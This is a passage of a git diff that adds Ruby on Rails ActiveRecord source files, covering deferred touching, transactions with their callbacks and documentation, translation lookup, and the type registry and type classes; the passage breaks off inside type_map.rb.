+    end
+
+    def touch_later(*names) # :nodoc:
+      unless persisted?
+        raise ActiveRecordError, <<-MSG.squish
+          cannot touch on a new or destroyed record object. Consider using
+          persisted?, new_record?, or destroyed? before touching
+        MSG
+      end
+
+      @_defer_touch_attrs ||= timestamp_attributes_for_update_in_model
+      @_defer_touch_attrs |= names
+      @_touch_time = current_time_from_proper_timezone
+
+      surreptitiously_touch @_defer_touch_attrs
+      self.class.connection.add_transaction_record self
+
+      # touch the parents as we are not calling the after_save callbacks
+      self.class.reflect_on_all_associations(:belongs_to).each do |r|
+        if touch = r.options[:touch]
+          ActiveRecord::Associations::Builder::BelongsTo.touch_record(self, changes_to_save, r.foreign_key, r.name, touch, :touch_later)
+        end
+      end
+    end
+
+    def touch(*names, time: nil) # :nodoc:
+      if has_defer_touch_attrs?
+        names |= @_defer_touch_attrs
+      end
+      super(*names, time: time)
+    end
+
+    private
+
+      def surreptitiously_touch(attrs)
+        attrs.each { |attr| write_attribute attr, @_touch_time }
+        clear_attribute_changes attrs
+      end
+
+      def touch_deferred_attributes
+        if has_defer_touch_attrs? && persisted?
+          touch(*@_defer_touch_attrs, time: @_touch_time)
+          @_defer_touch_attrs, @_touch_time = nil, nil
+        end
+      end
+
+      def has_defer_touch_attrs?
+        defined?(@_defer_touch_attrs) && @_defer_touch_attrs.present?
+      end
+
+      def belongs_to_touch_method
+        :touch_later
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
new file mode 100644
index 0000000000..3e8a0789df
--- /dev/null
+++ b/activerecord/lib/active_record/transactions.rb
@@ -0,0 +1,499 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # See ActiveRecord::Transactions::ClassMethods for documentation.
+  module Transactions
+    extend ActiveSupport::Concern
+    #:nodoc:
+    ACTIONS = [:create, :destroy, :update]
+
+    included do
+      define_callbacks :commit, :rollback,
+                       :before_commit,
+                       :before_commit_without_transaction_enrollment,
+                       :commit_without_transaction_enrollment,
+                       :rollback_without_transaction_enrollment,
+                       scope: [:kind, :name]
+    end
+
+    # = Active Record Transactions
+    #
+    # \Transactions are protective blocks where SQL statements are only permanent
+    # if they can all succeed as one atomic action. The classic example is a
+    # transfer between two accounts where you can only have a deposit if the
+    # withdrawal succeeded and vice versa. \Transactions enforce the integrity of
+    # the database and guard the data against program errors or database
+    # break-downs. So basically you should use transaction blocks whenever you
+    # have a number of statements that must be executed together or not at all.
+    #
+    # For example:
+    #
+    #   ActiveRecord::Base.transaction do
+    #     david.withdrawal(100)
+    #     mary.deposit(100)
+    #   end
+    #
+    # This example will only take money from David and give it to Mary if neither
+    # +withdrawal+ nor +deposit+ raise an exception. Exceptions will force a
+    # ROLLBACK that returns the database to the state before the transaction
+    # began. Be aware, though, that the objects will _not_ have their instance
+    # data returned to their pre-transactional state.
+    #
+    # == Different Active Record classes in a single transaction
+    #
+    # Though the #transaction class method is called on some Active Record class,
+    # the objects within the transaction block need not all be instances of
+    # that class. This is because transactions are per-database connection, not
+    # per-model.
+    #
+    # In this example a +balance+ record is transactionally saved even
+    # though #transaction is called on the +Account+ class:
+    #
+    #   Account.transaction do
+    #     balance.save!
+    #     account.save!
+    #   end
+    #
+    # The #transaction method is also available as a model instance method.
+    # For example, you can also do this:
+    #
+    #   balance.transaction do
+    #     balance.save!
+    #     account.save!
+    #   end
+    #
+    # == Transactions are not distributed across database connections
+    #
+    # A transaction acts on a single database connection. If you have
+    # multiple class-specific databases, the transaction will not protect
+    # interaction among them. One workaround is to begin a transaction
+    # on each class whose models you alter:
+    #
+    #   Student.transaction do
+    #     Course.transaction do
+    #       course.enroll(student)
+    #       student.units += course.units
+    #     end
+    #   end
+    #
+    # This is a poor solution, but fully distributed transactions are beyond
+    # the scope of Active Record.
+    #
+    # == +save+ and +destroy+ are automatically wrapped in a transaction
+    #
+    # Both {#save}[rdoc-ref:Persistence#save] and
+    # {#destroy}[rdoc-ref:Persistence#destroy] come wrapped in a transaction that ensures
+    # that whatever you do in validations or callbacks will happen under its
+    # protected cover. So you can use validations to check for values that
+    # the transaction depends on or you can raise exceptions in the callbacks
+    # to rollback, including <tt>after_*</tt> callbacks.
+    #
+    # As a consequence changes to the database are not seen outside your connection
+    # until the operation is complete. For example, if you try to update the index
+    # of a search engine in +after_save+ the indexer won't see the updated record.
+    # The #after_commit callback is the only one that is triggered once the update
+    # is committed. See below.
+    #
+    # == Exception handling and rolling back
+    #
+    # Also have in mind that exceptions thrown within a transaction block will
+    # be propagated (after triggering the ROLLBACK), so you should be ready to
+    # catch those in your application code.
+    #
+    # One exception is the ActiveRecord::Rollback exception, which will trigger
+    # a ROLLBACK when raised, but not be re-raised by the transaction block.
+    #
+    # *Warning*: one should not catch ActiveRecord::StatementInvalid exceptions
+    # inside a transaction block. ActiveRecord::StatementInvalid exceptions indicate that an
+    # error occurred at the database level, for example when a unique constraint
+    # is violated. On some database systems, such as PostgreSQL, database errors
+    # inside a transaction cause the entire transaction to become unusable
+    # until it's restarted from the beginning. Here is an example which
+    # demonstrates the problem:
+    #
+    #   # Suppose that we have a Number model with a unique column called 'i'.
+    #   Number.transaction do
+    #     Number.create(i: 0)
+    #     begin
+    #       # This will raise a unique constraint error...
+    #       Number.create(i: 0)
+    #     rescue ActiveRecord::StatementInvalid
+    #       # ...which we ignore.
+    #     end
+    #
+    #     # On PostgreSQL, the transaction is now unusable. The following
+    #     # statement will cause a PostgreSQL error, even though the unique
+    #     # constraint is no longer violated:
+    #     Number.create(i: 1)
+    #     # => "PG::Error: ERROR:  current transaction is aborted, commands
+    #     #     ignored until end of transaction block"
+    #   end
+    #
+    # One should restart the entire transaction if an
+    # ActiveRecord::StatementInvalid occurred.
+    #
+    # == Nested transactions
+    #
+    # #transaction calls can be nested. By default, this makes all database
+    # statements in the nested transaction block become part of the parent
+    # transaction. For example, the following behavior may be surprising:
+    #
+    #   User.transaction do
+    #     User.create(username: 'Kotori')
+    #     User.transaction do
+    #       User.create(username: 'Nemu')
+    #       raise ActiveRecord::Rollback
+    #     end
+    #   end
+    #
+    # creates both "Kotori" and "Nemu". Reason is the ActiveRecord::Rollback
+    # exception in the nested block does not issue a ROLLBACK. Since these exceptions
+    # are captured in transaction blocks, the parent block does not see it and the
+    # real transaction is committed.
+    #
+    # In order to get a ROLLBACK for the nested transaction you may ask for a real
+    # sub-transaction by passing <tt>requires_new: true</tt>. If anything goes wrong,
+    # the database rolls back to the beginning of the sub-transaction without rolling
+    # back the parent transaction. If we add it to the previous example:
+    #
+    #   User.transaction do
+    #     User.create(username: 'Kotori')
+    #     User.transaction(requires_new: true) do
+    #       User.create(username: 'Nemu')
+    #       raise ActiveRecord::Rollback
+    #     end
+    #   end
+    #
+    # only "Kotori" is created. This works on MySQL and PostgreSQL. SQLite3 version >= '3.6.8' also supports it.
+    #
+    # Most databases don't support true nested transactions. At the time of
+    # writing, the only database that we're aware of that supports true nested
+    # transactions, is MS-SQL. Because of this, Active Record emulates nested
+    # transactions by using savepoints on MySQL and PostgreSQL. See
+    # http://dev.mysql.com/doc/refman/5.7/en/savepoint.html
+    # for more information about savepoints.
+    #
+    # === \Callbacks
+    #
+    # There are two types of callbacks associated with committing and rolling back transactions:
+    # #after_commit and #after_rollback.
+    #
+    # #after_commit callbacks are called on every record saved or destroyed within a
+    # transaction immediately after the transaction is committed. #after_rollback callbacks
+    # are called on every record saved or destroyed within a transaction immediately after the
+    # transaction or savepoint is rolled back.
+    #
+    # These callbacks are useful for interacting with other systems since you will be guaranteed
+    # that the callback is only executed when the database is in a permanent state. For example,
+    # #after_commit is a good spot to put in a hook to clearing a cache since clearing it from
+    # within a transaction could trigger the cache to be regenerated before the database is updated.
+    #
+    # === Caveats
+    #
+    # If you're on MySQL, then do not use Data Definition Language(DDL) operations in nested
+    # transactions blocks that are emulated with savepoints. That is, do not execute statements
+    # like 'CREATE TABLE' inside such blocks. This is because MySQL automatically
+    # releases all savepoints upon executing a DDL operation. When +transaction+
+    # is finished and tries to release the savepoint it created earlier, a
+    # database error will occur because the savepoint has already been
+    # automatically released. The following example demonstrates the problem:
+    #
+    #   Model.connection.transaction do                           # BEGIN
+    #     Model.connection.transaction(requires_new: true) do     # CREATE SAVEPOINT active_record_1
+    #       Model.connection.create_table(...)                    # active_record_1 now automatically released
+    #     end                                                     # RELEASE SAVEPOINT active_record_1
+    #                                                             # ^^^^ BOOM! database error!
+    #   end
+    #
+    # Note that "TRUNCATE" is also a MySQL DDL statement!
+    module ClassMethods
+      # See the ConnectionAdapters::DatabaseStatements#transaction API docs.
+      def transaction(options = {}, &block)
+        connection.transaction(options, &block)
+      end
+
+      def before_commit(*args, &block) # :nodoc:
+        set_options_for_callbacks!(args)
+        set_callback(:before_commit, :before, *args, &block)
+      end
+
+      # This callback is called after a record has been created, updated, or destroyed.
+      #
+      # You can specify that the callback should only be fired by a certain action with
+      # the +:on+ option:
+      #
+      #   after_commit :do_foo, on: :create
+      #   after_commit :do_bar, on: :update
+      #   after_commit :do_baz, on: :destroy
+      #
+      #   after_commit :do_foo_bar, on: [:create, :update]
+      #   after_commit :do_bar_baz, on: [:update, :destroy]
+      #
+      def after_commit(*args, &block)
+        set_options_for_callbacks!(args)
+        set_callback(:commit, :after, *args, &block)
+      end
+
+      # Shortcut for <tt>after_commit :hook, on: :create</tt>.
+      def after_create_commit(*args, &block)
+        set_options_for_callbacks!(args, on: :create)
+        set_callback(:commit, :after, *args, &block)
+      end
+
+      # Shortcut for <tt>after_commit :hook, on: :update</tt>.
+      def after_update_commit(*args, &block)
+        set_options_for_callbacks!(args, on: :update)
+        set_callback(:commit, :after, *args, &block)
+      end
+
+      # Shortcut for <tt>after_commit :hook, on: :destroy</tt>.
+      def after_destroy_commit(*args, &block)
+        set_options_for_callbacks!(args, on: :destroy)
+        set_callback(:commit, :after, *args, &block)
+      end
+
+      # This callback is called after a create, update, or destroy are rolled back.
+      #
+      # Please check the documentation of #after_commit for options.
+      def after_rollback(*args, &block)
+        set_options_for_callbacks!(args)
+        set_callback(:rollback, :after, *args, &block)
+      end
+
+      def before_commit_without_transaction_enrollment(*args, &block) # :nodoc:
+        set_options_for_callbacks!(args)
+        set_callback(:before_commit_without_transaction_enrollment, :before, *args, &block)
+      end
+
+      def after_commit_without_transaction_enrollment(*args, &block) # :nodoc:
+        set_options_for_callbacks!(args)
+        set_callback(:commit_without_transaction_enrollment, :after, *args, &block)
+      end
+
+      def after_rollback_without_transaction_enrollment(*args, &block) # :nodoc:
+        set_options_for_callbacks!(args)
+        set_callback(:rollback_without_transaction_enrollment, :after, *args, &block)
+      end
+
+      private
+
+        def set_options_for_callbacks!(args, enforced_options = {})
+          options = args.extract_options!.merge!(enforced_options)
+          args << options
+
+          if options[:on]
+            fire_on = Array(options[:on])
+            assert_valid_transaction_action(fire_on)
+            options[:if] = Array(options[:if])
+            options[:if].unshift("transaction_include_any_action?(#{fire_on})")
+          end
+        end
+
+        def assert_valid_transaction_action(actions)
+          if (actions - ACTIONS).any?
+            raise ArgumentError, ":on conditions for after_commit and after_rollback callbacks have to be one of #{ACTIONS}"
+          end
+        end
+    end
+
+    # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
+    def transaction(options = {}, &block)
+      self.class.transaction(options, &block)
+    end
+
+    def destroy #:nodoc:
+      with_transaction_returning_status { super }
+    end
+
+    def save(*) #:nodoc:
+      rollback_active_record_state! do
+        with_transaction_returning_status { super }
+      end
+    end
+
+    def save!(*) #:nodoc:
+      with_transaction_returning_status { super }
+    end
+
+    def touch(*) #:nodoc:
+      with_transaction_returning_status { super }
+    end
+
+    # Reset id and @new_record if the transaction rolls back.
+    def rollback_active_record_state!
+      remember_transaction_record_state
+      yield
+    rescue Exception
+      restore_transaction_record_state
+      raise
+    ensure
+      clear_transaction_record_state
+    end
+
+    def before_committed! # :nodoc:
+      _run_before_commit_without_transaction_enrollment_callbacks
+      _run_before_commit_callbacks
+    end
+
+    # Call the #after_commit callbacks.
+    #
+    # Ensure that it is not called if the object was never persisted (failed create),
+    # but call it after the commit of a destroyed object.
+    def committed!(should_run_callbacks: true) #:nodoc:
+      if should_run_callbacks && destroyed? || persisted?
+        _run_commit_without_transaction_enrollment_callbacks
+        _run_commit_callbacks
+      end
+    ensure
+      force_clear_transaction_record_state
+    end
+
+    # Call the #after_rollback callbacks. The +force_restore_state+ argument indicates if the record
+    # state should be rolled back to the beginning or just to the last savepoint.
+    def rolledback!(force_restore_state: false, should_run_callbacks: true) #:nodoc:
+      if should_run_callbacks
+        _run_rollback_callbacks
+        _run_rollback_without_transaction_enrollment_callbacks
+      end
+    ensure
+      restore_transaction_record_state(force_restore_state)
+      clear_transaction_record_state
+    end
+
+    # Add the record to the current transaction so that the #after_rollback and #after_commit callbacks
+    # can be called.
+    def add_to_transaction
+      if has_transactional_callbacks?
+        self.class.connection.add_transaction_record(self)
+      else
+        sync_with_transaction_state
+        set_transaction_state(self.class.connection.transaction_state)
+      end
+      remember_transaction_record_state
+    end
+
+    # Executes +method+ within a transaction and captures its return value as a
+    # status flag. If the status is true the transaction is committed, otherwise
+    # a ROLLBACK is issued. In any case the status flag is returned.
+    #
+    # This method is available within the context of an ActiveRecord::Base
+    # instance.
+    def with_transaction_returning_status
+      status = nil
+      self.class.transaction do
+        add_to_transaction
+        begin
+          status = yield
+        rescue ActiveRecord::Rollback
+          clear_transaction_record_state
+          status = nil
+        end
+
+        raise ActiveRecord::Rollback unless status
+      end
+      status
+    ensure
+      if @transaction_state && @transaction_state.committed?
+        clear_transaction_record_state
+      end
+    end
+
+    private
+
+      # Save the new record state and id of a record so it can be restored later if a transaction fails.
+      def remember_transaction_record_state
+        @_start_transaction_state[:id] = id
+        @_start_transaction_state.reverse_merge!(
+          new_record: @new_record,
+          destroyed: @destroyed,
+          frozen?: frozen?,
+        )
+        @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) + 1
+      end
+
+      # Clear the new record state and id of a record.
+      def clear_transaction_record_state
+        @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
+        force_clear_transaction_record_state if @_start_transaction_state[:level] < 1
+      end
+
+      # Force to clear the transaction record state.
+      def force_clear_transaction_record_state
+        @_start_transaction_state.clear
+      end
+
+      # Restore the new record state and id of a record that was previously saved by a call to save_record_state.
+      def restore_transaction_record_state(force = false)
+        unless @_start_transaction_state.empty?
+          transaction_level = (@_start_transaction_state[:level] || 0) - 1
+          if transaction_level < 1 || force
+            restore_state = @_start_transaction_state
+            thaw
+            @new_record = restore_state[:new_record]
+            @destroyed  = restore_state[:destroyed]
+            pk = self.class.primary_key
+            if pk && read_attribute(pk) != restore_state[:id]
+              write_attribute(pk, restore_state[:id])
+            end
+            freeze if restore_state[:frozen?]
+          end
+        end
+      end
+
+      # Determine if a record was created or destroyed in a transaction. State should be one of :new_record or :destroyed.
+      def transaction_record_state(state)
+        @_start_transaction_state[state]
+      end
+
+      # Determine if a transaction included an action for :create, :update, or :destroy. Used in filtering callbacks.
+      def transaction_include_any_action?(actions)
+        actions.any? do |action|
+          case action
+          when :create
+            transaction_record_state(:new_record)
+          when :destroy
+            defined?(@_trigger_destroy_callback) && @_trigger_destroy_callback
+          when :update
+            !(transaction_record_state(:new_record) || destroyed?) &&
+              (defined?(@_trigger_update_callback) && @_trigger_update_callback)
+          end
+        end
+      end
+
+      def set_transaction_state(state)
+        @transaction_state = state
+      end
+
+      def has_transactional_callbacks?
+        !_rollback_callbacks.empty? || !_commit_callbacks.empty? || !_before_commit_callbacks.empty?
+      end
+
+      # Updates the attributes on this particular Active Record object so that
+      # if it's associated with a transaction, then the state of the Active Record
+      # object will be updated to reflect the current state of the transaction.
+      #
+      # The +@transaction_state+ variable stores the states of the associated
+      # transaction. This relies on the fact that a transaction can only be in
+      # one rollback or commit (otherwise a list of states would be required).
+      # Each Active Record object inside of a transaction carries that transaction's
+      # TransactionState.
+      #
+      # This method checks to see if the ActiveRecord object's state reflects
+      # the TransactionState, and rolls back or commits the Active Record object
+      # as appropriate.
+      #
+      # Since Active Record objects can be inside multiple transactions, this
+      # method recursively goes through the parent of the TransactionState and
+      # checks if the Active Record object reflects the state of the object.
+      def sync_with_transaction_state
+        update_attributes_from_transaction_state(@transaction_state)
+      end
+
+      def update_attributes_from_transaction_state(transaction_state)
+        if transaction_state && transaction_state.finalized?
+          restore_transaction_record_state if transaction_state.rolledback?
+          clear_transaction_record_state if transaction_state.fully_completed?
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/translation.rb b/activerecord/lib/active_record/translation.rb
new file mode 100644
index 0000000000..3cf70eafb8
--- /dev/null
+++ b/activerecord/lib/active_record/translation.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Translation
+    include ActiveModel::Translation
+
+    # Set the lookup ancestors for ActiveModel.
+    def lookup_ancestors #:nodoc:
+      klass = self
+      classes = [klass]
+      return classes if klass == ActiveRecord::Base
+
+      while klass != klass.base_class
+        classes << klass = klass.superclass
+      end
+      classes
+    end
+
+    # Set the i18n scope to overwrite ActiveModel.
+    def i18n_scope #:nodoc:
+      :activerecord
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type.rb b/activerecord/lib/active_record/type.rb
new file mode 100644
index 0000000000..fa22df92b8
--- /dev/null
+++ b/activerecord/lib/active_record/type.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "active_model/type"
+
+require_relative "type/internal/timezone"
+
+require_relative "type/date"
+require_relative "type/date_time"
+require_relative "type/decimal_without_scale"
+require_relative "type/json"
+require_relative "type/time"
+require_relative "type/text"
+require_relative "type/unsigned_integer"
+
+require_relative "type/serialized"
+require_relative "type/adapter_specific_registry"
+
+require_relative "type/type_map"
+require_relative "type/hash_lookup_type_map"
+
+module ActiveRecord
+  module Type
+    @registry = AdapterSpecificRegistry.new
+
+    class << self
+      attr_accessor :registry # :nodoc:
+      delegate :add_modifier, to: :registry
+
+      # Add a new type to the registry, allowing it to be referenced as a
+      # symbol by {ActiveRecord::Base.attribute}[rdoc-ref:Attributes::ClassMethods#attribute].
+      # If your type is only meant to be used with a specific database adapter, you can
+      # do so by passing <tt>adapter: :postgresql</tt>. If your type has the same
+      # name as a native type for the current adapter, an exception will be
+      # raised unless you specify an +:override+ option. <tt>override: true</tt> will
+      # cause your type to be used instead of the native type. <tt>override:
+      # false</tt> will cause the native type to be used over yours if one exists.
+      def register(type_name, klass = nil, **options, &block)
+        registry.register(type_name, klass, **options, &block)
+      end
+
+      def lookup(*args, adapter: current_adapter_name, **kwargs) # :nodoc:
+        registry.lookup(*args, adapter: adapter, **kwargs)
+      end
+
+      def default_value # :nodoc:
+        @default_value ||= Value.new
+      end
+
+      private
+
+      def current_adapter_name
+        ActiveRecord::Base.connection.adapter_name.downcase.to_sym
+      end
+    end
+
+    Helpers = ActiveModel::Type::Helpers
+    BigInteger = ActiveModel::Type::BigInteger
+    Binary = ActiveModel::Type::Binary
+    Boolean = ActiveModel::Type::Boolean
+    Decimal = ActiveModel::Type::Decimal
+    Float = ActiveModel::Type::Float
+    Integer = ActiveModel::Type::Integer
+    String = ActiveModel::Type::String
+    Value = ActiveModel::Type::Value
+
+    register(:big_integer, Type::BigInteger, override: false)
+    register(:binary, Type::Binary, override: false)
+    register(:boolean, Type::Boolean, override: false)
+    register(:date, Type::Date, override: false)
+    register(:datetime, Type::DateTime, override: false)
+    register(:decimal, Type::Decimal, override: false)
+    register(:float, Type::Float, override: false)
+    register(:integer, Type::Integer, override: false)
+    register(:json, Type::Json, override: false)
+    register(:string, Type::String, override: false)
+    register(:text, Type::Text, override: false)
+    register(:time, Type::Time, override: false)
+  end
+end
diff --git a/activerecord/lib/active_record/type/adapter_specific_registry.rb b/activerecord/lib/active_record/type/adapter_specific_registry.rb
new file mode 100644
index 0000000000..e7468aa542
--- /dev/null
+++ b/activerecord/lib/active_record/type/adapter_specific_registry.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require "active_model/type/registry"
+
+module ActiveRecord
+  # :stopdoc:
+  module Type
+    class AdapterSpecificRegistry < ActiveModel::Type::Registry
+      def add_modifier(options, klass, **args)
+        registrations << DecorationRegistration.new(options, klass, **args)
+      end
+
+      private
+
+        def registration_klass
+          Registration
+        end
+
+        def find_registration(symbol, *args)
+          registrations
+            .select { |registration| registration.matches?(symbol, *args) }
+            .max
+        end
+    end
+
+    class Registration
+      def initialize(name, block, adapter: nil, override: nil)
+        @name = name
+        @block = block
+        @adapter = adapter
+        @override = override
+      end
+
+      def call(_registry, *args, adapter: nil, **kwargs)
+        if kwargs.any? # https://bugs.ruby-lang.org/issues/10856
+          block.call(*args, **kwargs)
+        else
+          block.call(*args)
+        end
+      end
+
+      def matches?(type_name, *args, **kwargs)
+        type_name == name && matches_adapter?(**kwargs)
+      end
+
+      def <=>(other)
+        if conflicts_with?(other)
+          raise TypeConflictError.new("Type #{name} was registered for all
+                                      adapters, but shadows a native type with
+                                      the same name for #{other.adapter}".squish)
+        end
+        priority <=> other.priority
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :name, :block, :adapter, :override
+
+        def priority
+          result = 0
+          if adapter
+            result |= 1
+          end
+          if override
+            result |= 2
+          end
+          result
+        end
+
+        def priority_except_adapter
+          priority & 0b111111100
+        end
+
+      private
+
+        def matches_adapter?(adapter: nil, **)
+          (self.adapter.nil? || adapter == self.adapter)
+        end
+
+        def conflicts_with?(other)
+          same_priority_except_adapter?(other) &&
+            has_adapter_conflict?(other)
+        end
+
+        def same_priority_except_adapter?(other)
+          priority_except_adapter == other.priority_except_adapter
+        end
+
+        def has_adapter_conflict?(other)
+          (override.nil? && other.adapter) ||
+            (adapter && other.override.nil?)
+        end
+    end
+
+    class DecorationRegistration < Registration
+      def initialize(options, klass, adapter: nil)
+        @options = options
+        @klass = klass
+        @adapter = adapter
+      end
+
+      def call(registry, *args, **kwargs)
+        subtype = registry.lookup(*args, **kwargs.except(*options.keys))
+        klass.new(subtype)
+      end
+
+      def matches?(*args, **kwargs)
+        matches_adapter?(**kwargs) && matches_options?(**kwargs)
+      end
+
+      def priority
+        super | 4
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :options, :klass
+
+      private
+
+        def matches_options?(**kwargs)
+          options.all? do |key, value|
+            kwargs[key] == value
+          end
+        end
+    end
+  end
+
+  class TypeConflictError < StandardError
+  end
+  # :startdoc:
+end
diff --git a/activerecord/lib/active_record/type/date.rb b/activerecord/lib/active_record/type/date.rb
new file mode 100644
index 0000000000..8177074a20
--- /dev/null
+++ b/activerecord/lib/active_record/type/date.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    class Date < ActiveModel::Type::Date
+      include Internal::Timezone
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/date_time.rb b/activerecord/lib/active_record/type/date_time.rb
new file mode 100644
index 0000000000..4acde6b9f8
--- /dev/null
+++ b/activerecord/lib/active_record/type/date_time.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    class DateTime < ActiveModel::Type::DateTime
+      include Internal::Timezone
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/decimal_without_scale.rb b/activerecord/lib/active_record/type/decimal_without_scale.rb
new file mode 100644
index 0000000000..a207940dc7
--- /dev/null
+++ b/activerecord/lib/active_record/type/decimal_without_scale.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    class DecimalWithoutScale < ActiveModel::Type::BigInteger # :nodoc:
+      def type
+        :decimal
+      end
+
+      def type_cast_for_schema(value)
+        value.to_s.inspect
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/hash_lookup_type_map.rb b/activerecord/lib/active_record/type/hash_lookup_type_map.rb
new file mode 100644
index 0000000000..db9853fbcc
--- /dev/null
+++ b/activerecord/lib/active_record/type/hash_lookup_type_map.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    class HashLookupTypeMap < TypeMap # :nodoc:
+      def alias_type(type, alias_type)
+        register_type(type) { |_, *args| lookup(alias_type, *args) }
+      end
+
+      def key?(key)
+        @mapping.key?(key)
+      end
+
+      def keys
+        @mapping.keys
+      end
+
+      private
+
+        def perform_fetch(type, *args, &block)
+          @mapping.fetch(type, block).call(type, *args)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/internal/timezone.rb b/activerecord/lib/active_record/type/internal/timezone.rb
new file mode 100644
index 0000000000..3059755752
--- /dev/null
+++ b/activerecord/lib/active_record/type/internal/timezone.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    module Internal
+      module Timezone
+        def is_utc?
+          ActiveRecord::Base.default_timezone == :utc
+        end
+
+        def default_timezone
+          ActiveRecord::Base.default_timezone
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/json.rb b/activerecord/lib/active_record/type/json.rb
new file mode 100644
index 0000000000..3f9ff22796
--- /dev/null
+++ b/activerecord/lib/active_record/type/json.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    class Json < ActiveModel::Type::Value
+      include ActiveModel::Type::Helpers::Mutable
+
+      def type
+        :json
+      end
+
+      def deserialize(value)
+        return value unless value.is_a?(::String)
+        ActiveSupport::JSON.decode(value) rescue nil
+      end
+
+      def serialize(value)
+        ActiveSupport::JSON.encode(value) unless value.nil?
+      end
+
+      def changed_in_place?(raw_old_value, new_value)
+        deserialize(raw_old_value) != new_value
+      end
+
+      def accessor
+        ActiveRecord::Store::StringKeyedHashAccessor
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/serialized.rb b/activerecord/lib/active_record/type/serialized.rb
new file mode 100644
index 0000000000..e882784691
--- /dev/null
+++ b/activerecord/lib/active_record/type/serialized.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    class Serialized < DelegateClass(ActiveModel::Type::Value) # :nodoc:
+      undef to_yaml if method_defined?(:to_yaml)
+
+      include ActiveModel::Type::Helpers::Mutable
+
+      attr_reader :subtype, :coder
+
+      def initialize(subtype, coder)
+        @subtype = subtype
+        @coder = coder
+        super(subtype)
+      end
+
+      def deserialize(value)
+        if default_value?(value)
+          value
+        else
+          coder.load(super)
+        end
+      end
+
+      def serialize(value)
+        return if value.nil?
+        unless default_value?(value)
+          super coder.dump(value)
+        end
+      end
+
+      def inspect
+        Kernel.instance_method(:inspect).bind(self).call
+      end
+
+      def changed_in_place?(raw_old_value, value)
+        return false if value.nil?
+        raw_new_value = encoded(value)
+        raw_old_value.nil? != raw_new_value.nil? ||
+          subtype.changed_in_place?(raw_old_value, raw_new_value)
+      end
+
+      def accessor
+        ActiveRecord::Store::IndifferentHashAccessor
+      end
+
+      def assert_valid_value(value)
+        if coder.respond_to?(:assert_valid_value)
+          coder.assert_valid_value(value, action: "serialize")
+        end
+      end
+
+      private
+
+        def default_value?(value)
+          value == coder.load(nil)
+        end
+
+        def encoded(value)
+          unless default_value?(value)
+            coder.dump(value)
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/text.rb b/activerecord/lib/active_record/type/text.rb
new file mode 100644
index 0000000000..6d19696671
--- /dev/null
+++ b/activerecord/lib/active_record/type/text.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    class Text < ActiveModel::Type::String # :nodoc:
+      def type
+        :text
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/time.rb b/activerecord/lib/active_record/type/time.rb
new file mode 100644
index 0000000000..f4da1ecf2c
--- /dev/null
+++ b/activerecord/lib/active_record/type/time.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    class Time < ActiveModel::Type::Time
+      include Internal::Timezone
+
+      class Value < DelegateClass(::Time) # :nodoc:
+      end
+
+      def serialize(value)
+        case value = super
+        when ::Time
+          Value.new(value)
+        else
+          value
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/type_map.rb b/activerecord/lib/active_record/type/type_map.rb
new file mode 100644
index 0000000000..fc40b460f0
--- /dev/null
+++ b/activerecord/lib/active_record/type/type_map.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+
+module ActiveRecord
+  module Type
+    class TypeMap # :nodoc:
+      def initialize
+        @mapping = {}
+        @cache = Concurrent::Map.new do |h, key|
+          h.fetch_or_store(key, Concurrent::Map.new)
+        end
+      end
+
+      def lookup(lookup_key, *args)
+        fetch(lookup_key, *args) { Type.default_value }
+      end
+
+      def fetch(lookup_key, *args, &block)
+        @cache[lookup_key].fetch_or_store(args) do
+          perform_fetch(lookup_key, *args, &block)
+        end
+      end
+
+      def register_type(key, value = nil, &block)
+        raise ::ArgumentError unless value || block
+        @cache.clear
+
+        if block
+          @mapping[key] = block
+        else
+          @mapping[key] = proc { value }
+        end
+      end
+
+      def alias_type(key, target_key)
+        register_type(key) do |sql_type, *args|
+          metadata = sql_type[/\(.*\)/, 0]
+          lookup("#{target_key}#{metadata}", *args)
+        end
+      end
+
+      def clear
+        @mapping.clear
+      end
+
+      private
+
+        def perform_fetch(lookup_key, *args)
+          matching_pair = @mapping.reverse_each.detect do |key, _|
+            key === lookup_key
+          end
+
+          if matching_pair
+            matching_pair.last.call(lookup_key, *args)
+          else
